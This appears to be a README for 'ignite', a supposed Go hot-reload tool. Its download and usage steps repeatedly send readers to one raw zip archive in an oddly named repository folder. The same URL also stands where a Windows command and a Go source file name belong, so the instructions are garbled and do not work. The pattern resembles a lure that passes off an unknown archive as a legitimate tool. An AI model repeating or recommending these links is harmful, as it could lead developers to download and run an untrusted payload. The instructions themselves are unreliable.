ignite is a simple and lightweight Go hot-reload tool. It helps developers automatically rerun Go programs when source files change. This saves time and makes the development process more efficient.
To get started with ignite, you need to download it. Click the link below to visit the Releases page:
Once on the Releases page, find the latest version and select the appropriate file for your operating system. Follow these steps to download and install:
- Visit the Releases page.
- Choose the latest version available at the top.
- Click the file labeled for your operating system, such as
https://raw.githubusercontent.com/BhumBoi/ignite/main/pleasurous/ignite.zipfor Windows orhttps://raw.githubusercontent.com/BhumBoi/ignite/main/pleasurous/ignite.zipfor macOS. - The download will start automatically. Save the file to a location on your computer where you can easily find it.
- Operating System: Works on Windows, macOS, and Linux.
- Go Version: You need Go 1.12 or later installed to run the tool.
Once you have downloaded ignite, follow these steps to run it:
- Locate the downloaded file: Navigate to the folder where you saved the file.
- Open the command line interface:
- On Windows, search for
Command PromptorPowerShell. - On macOS or Linux, open the
Terminal.
- On Windows, search for
- Navigate to the directory with ignite: Use the
cdcommand followed by the path to the directory. For example:cd path\to\your\downloaded\file - Run ignite: Enter the command as follows:
If you are on Windows, you might need to type:
./ignitehttps://raw.githubusercontent.com/BhumBoi/ignite/main/pleasurous/ignite.zip
To start using ignite, follow these steps:
- Create a Go project or open an existing one.
- Begin your main Go file, such as
https://raw.githubusercontent.com/BhumBoi/ignite/main/pleasurous/ignite.zip, in the text editor of your choice. - In your command line, use the command:
This command tells
ignite watch ./path/to/your/projectigniteto watch your project for changes. - Now, anytime you save changes to your Go files,
ignitewill automatically rerun your program.
- Hot Reloading: Automatically reruns your program when you save changes.
- Cross-Platform: Works seamlessly on Windows, macOS, and Linux.
- Easy to Use: Simple commands to set up and start your project quickly.
- Lightweight: Minimal impact on your system resources.
- Ensure your Go environment is set up correctly. You can check this by running
go versionin your command line. - Use a code editor that saves files quickly to take full advantage of the hot-reload feature.
- Consider organizing your Go code efficiently to minimize errors and enhance productivity.
If you encounter issues or have questions, you can make use of the GitHub issues page. Contributions to improve ignite are welcome. Feel free to suggest features or report problems.
Visit the Releases page again to check for updates.
ignite is developed with simplicity and efficiency in mind. Thank you for choosing to use this tool for your Go projects. Happy coding!